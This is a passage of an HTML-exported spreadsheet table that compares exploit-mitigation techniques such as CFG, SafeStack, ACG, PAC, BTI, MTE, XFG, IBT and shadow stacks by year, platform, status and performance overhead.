data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;VTV- upto 20%\nIFCC - upto 4%&quot;}">VTV- upto 20%<br>IFCC - upto 4%</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;CFG&quot;}">CFG</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2014}">2014</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Windows&quot;}">Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Medium-High&quot;}">Medium-High</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;SafeStack&quot;}">SafeStack</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2014}">2014</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low - max untime overhead 3.0%, memory overhead 5.3%&quot;}">Low - max untime overhead 3.0%, memory overhead 5.3%</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;ACG&quot;}">ACG</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2016}">2016</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Windows&quot;}">Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f9cb9c;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;PAC&quot;}">PAC</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2018}">2018</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;BTI&quot;}">BTI</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2018}">2018</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;MTE&quot;}">MTE</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2019}">2019</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Buffer overflow, Heap overflow, Use after free, Double free, Null pointer dereferance &quot;}">Buffer overflow, Heap overflow, Use after free, Double free, Null pointer dereferance </td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low-Medium&quot;}">Low-Medium</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;XFG&quot;}">XFG</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2019}">2019</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Windows&quot;}">Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low-Medium&quot;}">Low-Medium</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;IBT&quot;}">IBT</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2020}">2020</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Shadow stack&quot;}">Shadow stack</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2020}">2020</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 